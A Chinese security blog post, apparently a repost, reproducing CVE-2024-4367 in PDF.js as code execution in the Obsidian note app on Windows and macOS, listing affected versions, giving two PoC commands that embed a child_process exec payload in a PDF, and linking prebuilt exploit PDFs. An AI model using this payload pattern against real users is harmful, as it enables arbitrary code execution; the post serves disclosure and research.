Electron 应用 PDF.js RCE 之 Obsidian

admin 2024年7月15日16:18:40评论46 views字数 888阅读2分57秒阅读模式

前言背景

近期 CVE-2024-4367 漏洞比较受大家关注,不少师傅们已经去 SRC 水了很多 PDF XSS 漏洞了,不过 PDF XSS 终究还是很鸡肋的,很难有啥大的危害:

Electron 应用 PDF.js RCE 之 Obsidian

其实在这之前,国光也曾分享过其他的 PDF XSS 水洞姿势,感兴趣的是师傅们可以看看:

水洞小姿势系列 - PDF TO XSS 构造实战

Electron 应用 PDF.js RCE 之 Obsidian

寻找目标

本次漏洞的影响范围其实挺大的:

  • Mozilla PDF.js < 4.2.67
  • pdfjs-dist (npm) < 4.2.67
  • react-pdf (npm) < 7.7.3
  • 8.0.0<= react-pdf (npm) < 8.0.2

不过想要直接触发 RCE 还需要一些特定的依赖,经过测试  Electron 应用下比较容易触发 RCE,最终国光发现技术爱好者使用比较多的笔记应用:Obsidian 是可以成功被 RCE 的,且 Windows 和 macOS 下均成功触发 RCE:

Electron 应用 PDF.js RCE 之 Obsidian

漏洞复现

本次复现使用的项目:https://github.com/LOURC0D3/CVE-2024-4367-PoC

  • Windows 下 RCE PDF 生成:
python3 CVE-2024-4367.py "require('child_process').exec('calc');"        
  • macOS 下 RCE PDF 生成:
python3 CVE-2024-4367.py "require('child_process').exec('open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator');"

执行效果

  • Windows Obsidian RCE:
Electron 应用 PDF.js RCE 之 Obsidian
  • macOS Obsidian RCE:
Electron 应用 PDF.js RCE 之 Obsidian

修复方式

目前各大知名应用都在升级了,大家及时升级最新的版本即可:

Electron 应用 PDF.js RCE 之 Obsidian
Electron 应用 PDF.js RCE 之 Obsidian

样本获取

macOS:
https://www.sqlsec.com/download/macos_obsidian_rce.pdf
Windows:
https://www.sqlsec.com/download/windows_obsidian_poc.pdf

原文始发于微信公众号(安全小姿势):Electron 应用 PDF.js RCE 之 Obsidian

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日16:18:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Electron 应用 PDF.js RCE 之 Obsidianhttps://cn-sec.com/archives/2799547.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息